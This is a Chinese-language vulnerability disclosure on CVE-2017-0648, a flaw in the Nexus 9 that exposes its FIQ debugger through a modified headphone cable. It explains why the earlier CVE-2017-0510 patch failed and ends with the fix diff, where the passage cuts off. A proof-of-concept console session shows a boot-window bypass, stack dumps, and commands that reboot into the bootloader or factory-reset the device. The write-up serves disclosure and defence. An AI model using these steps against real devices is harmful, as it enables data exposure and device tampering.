Nexus 9漏洞允许黑客通过耳机接口攻击设备
Nexus 9漏洞允许黑客通过耳机接口攻击设备。在2017年3月份,我们曾披露了有关漏洞CVE-2017-0510的信息,这是一个存在于Nexus 9设备中的严重漏洞,它将允许他人发动一种非常新颖的攻击,即通过恶意耳机来攻击Nexus 9设备。但有趣的是,这个漏洞的补丁并没有什么效果,所以这就导致了CVE-2017-0648的出现。为此,我们根据Google的漏洞披露政策负责任地将漏洞CVE-2017-0648的相关信息上报给了Google,而Google也在2017年6月份的Android安全公告中修复了这个漏洞。
在这篇文章中,我们首先要回顾一下漏洞CVE-2017-0510,然后分析一下之前的补丁为何无效(CVE-2017-0648),最后再给大家演示如何利用这个漏洞来发动攻击。文章结尾我们还会给大家提供漏洞CVE-2017-0648的修复方案,而这个补丁似乎终于成功地修复了这个漏洞。
回顾漏洞CVE-2017-0510
对于Google Nexus或Pixel设备来说,当TRRS连接器的MIC针脚上电压超过了一定的阈值时,手机的耳机插口将会变成一个UART调试接口。下图显示的是我们使用标准FTDI232RL电路板所组装的一个样本线缆:
Nexus 9中的这个漏洞意味着调试接口将允许外部访问FIQ调试器:
debug> help
FIQ Debugger commands:
pc PC status
regs Register dump
allregs Extended Register dump
bt Stack trace
reboot [] Reboot with command
reset [] Hard reset with command
irqs Interupt status
kmsg Kernel log
version Kernel version
sleep Allow sleep while in FIQ
nosleep Disable sleep while in FIQ
console Switch terminal to console
cpu Current CPU
cpu Switch to CPU
ps Process list
sysrq sysrq options
sysrq
Execute sysrq with
这将会产生非常有趣的后果,比如说:
1.任意进程抢占,这将导致用户数据存在泄漏的可能;
2.Stack Canaries泄漏;
3.ASLR解随机处理;
4.访问SysRq;
5.通过命令“reboot oem-42”重启进入HBOOT(HTC的Android Bootloader),将导致设备内部SoC芯片受到攻击(CVE-2017-0563 & CVE-2017-0582);
6.通过命令“reboot oem-76”恢复出厂设置。
CVE-2017-0510的尝试修复
Google曾尝试通过减少FIQ Debugger的功能来修复漏洞CVE-2017-0510,在近期的版本中,当平台完全加载之后已经无法导出注册信息或是通过oem-N参数来重启设备了(防止设备重启进入HBOOT或恢复出厂设置):
debug> help
FIQ Debugger commands:
reboot Reboot
reset Hard reset
irqs Interrupt status
sleep Allow sleep while in FIQ
nosleep Disable sleep while in FIQ
console Switch terminal to console
ps Process list
debug>
Tegra内核树中相关的commit为a075f8ab69f6。在对补丁进行了分析之后,我们发现FIQ Debugger中很多关键的核心命令现在都由sysrq_on()函数进行管理。比如说,我们先测试一下fiq_debugger.c中的fiq_debugger_fiq_exec函数:
static bool fiq_debugger_fiq_exec(struct fiq_debugger_state *state,
const char *cmd, const struct pt_regs *regs,
void *svc_sp)
{
[...]
} else if (!strcmp(cmd, "pc")) {
if (sysrq_on())
fiq_debugger_dump_pc(&state->output, regs);
} else if (!strcmp(cmd, "regs")) {
if (sysrq_on())
fiq_debugger_dump_regs(&state->output, regs);
} else if (!strcmp(cmd, "allregs")) {
if (sysrq_on())
fiq_debugger_dump_allregs(&state->output, regs);
} else if (!strcmp(cmd, "bt")) {
if (sysrq_on())
fiq_debugger_dump_stacktrace(&state->output, regs,
100, svc_sp);
[...]
}
sysrq_on函数位于drivers/tty/sysrq.c文件中,其实现方法如下:
bool sysrq_on(void)
{
return sysrq_enabled || sysrq_always_enabled;
}
由于sysrq_always_enabled的值为0,我们姑且可以认定这个补丁的有效性仅仅取决于sysrq_enabled的值。
针对FIQ Debugger和SysRq不受限制的临时访问(CVE-2017-0648)
不幸的是,正如我们之前的文章所解释的那样,sysrq_enabled的默认值是1:
static int __read_mostly sysrq_enabled = SYSRQ_DEFAULT_ENABLE;
这个参数定义在文件include/linux/sysrq.h之中:
/* Enable/disable SYSRQ support by default (0==no, 1==yes). */
#define SYSRQ_DEFAULT_ENABLE 1
但是在平台的启动过程中,我们可以使用一个init脚本向/proc/sys/kernel/sysrq写入0值:
[...]
on early-init
# Set init and its forked children's oom_adj.
write /proc/1/oom_score_adj -1000
# Disable sysrq from keyboard
write /proc/sys/kernel/sysrq 0
[...]
kernel/sysctl.c中的代码会将proc文件/proc/sys/kernel/sysrq回滚到原始状态,并最终触发sysrq_enabled的值发生变化。
因此,尽管存在CVE-2017-0510的补丁,但在启动过程中我们仍然有一段非常短的时间(几毫秒)来执行init脚本,这样一来我们就仍然可以访问FIQ Debugger和SysRq命令了:
Ephemeral Access to Unrestricted FIQ and SysRq (CVE-2017-0648)
=============================================================
.------. (1) .------------------.
.--> | BOOT | -------> | Unrestricted FIQ | --.
| `------' `---------.--------' | (4) .-------.
| | |---> | HBOOT |
| (3) .-------------. (2) | | `-------'
`--------- | Limited FIQ | -------------' | (5) .---------------.
`---> | Factory Reset |
`---------------'
Transitions:
(1) sysrq_enabled = SYSRQ_DEFAULT_ENABLE = 1
(2) init: write 0 /proc/sys/kernel/sysrq 0 => sysrq_enabled = 0
(3) attacker @ limited FIQ: ’reboot’
(4) attacker @ unrestricted FIQ: ‘reboot oem-42′
(5) attacker @ unrestricted FIQ: ‘reboot oem-76′
PoC
在下面给出的例子中,我们演示了如何绕过CVE-2017-0510的补丁并抢占任意进程以及如何进入HBOOT模式。我们假设当平台完全加载完成之后攻击便立刻开始,我们首先触发了一次设备重启(正常重启),然后获得了FIQ Debugger的临时访问权。在这个过程中,我们运行了“bt”命令,然后通过命令“reboot oem-42”重启进入了HBOOT模式:
debug> help
FIQ Debugger commands:
reboot Reboot
reset Hard reset
irqs Interrupt status
sleep Allow sleep while in FIQ
nosleep Disable sleep while in FIQ
console Switch terminal to console
ps Process list
debug> bt
debug> reboot
debug>
[0000.045] Battery Present
[0000.069] Battery Voltage: 3743 mV
[0000.072] Battery charge sufficient
[0000.076] Override BCT configs
[0000.078] NvBootEmcReadMrr+++
[...]
[hboot query] query 24 is not implemented
Platform Pre OS Boot configuration...
[INFO] booting linux @ 0x80080000, tags @ 0x83a80000, ramdisk @ 0x82a80000, machine type: -1
[...]
debug> help
FIQ Debugger commands:
pc PC status
regs Register dump
allregs Extended Register dump
bt Stack trace
reboot [] Reboot with command
reset [] Hard reset with command
irqs Interupt status
kmsg Kernel log
version Kernel version
sleep Allow sleep while in FIQ
nosleep Disable sleep while in FIQ
console Switch terminal to console
cpu Current CPU
cpu Switch to CPU
ps Process list
sysrq sysrq options
sysrq
Execute sysrq with
[...]
debug> bt
pid: 89 comm: kworker/u4:1
x0 0000000000002ee0 x1 0000000000002d09
x2 000000000859c84a x3 ffffffc002968c00
x4 0000000000defde8 x5 ffffffc000f56aa8
x6 ffffffc0029c8400 x7 ffffffc0029c8800
x8 ffffffc002935130 x9 0000000010624dd3
x10 000000000001a1b6 x11 0000000000000066
x12 000000000000006f x13 0000000000000075
x14 000000000000006e x15 0000000000000064
x16 000000000000000a x17 0000000000000004
[...]
debug> reboot oem-42
[...]
###[ Bootloader Mode ]###
[...]
hboot> ?
#. :
security_command:
1. boot : no desc.
[...]
14. readconfig : no desc.
15. readimei : no des
CVE-2017-0648的修复方案
Google在公告34597d088801中正式修复了这个漏洞。SYSRQ_DEFAULT_ENABLE的值已经被设置为0了,这样就可以阻止外部对FIQ Debugger和SysRq接口不受限制的临时访问:
diff --git a/include/linux/sysrq.h b/include/linux/sysrq.h
index 5a0bd93..d393eeb 100644
--- a/include/linux/sysrq.h
+++ b/include/linux/sysrq.h
@@ -18,7 +18,7 @@
#include
/* Enable/disable SYSRQ support by default (0==no, 1==yes). */
-#define SYSRQ_DEFAULT_ENABLE 1
+#define SYSRQ_DEFAULT_ENABLE 0
/* Possible values of bitmask for enabling sysrq functions */
/* 0x0001 is reserved for enable everything *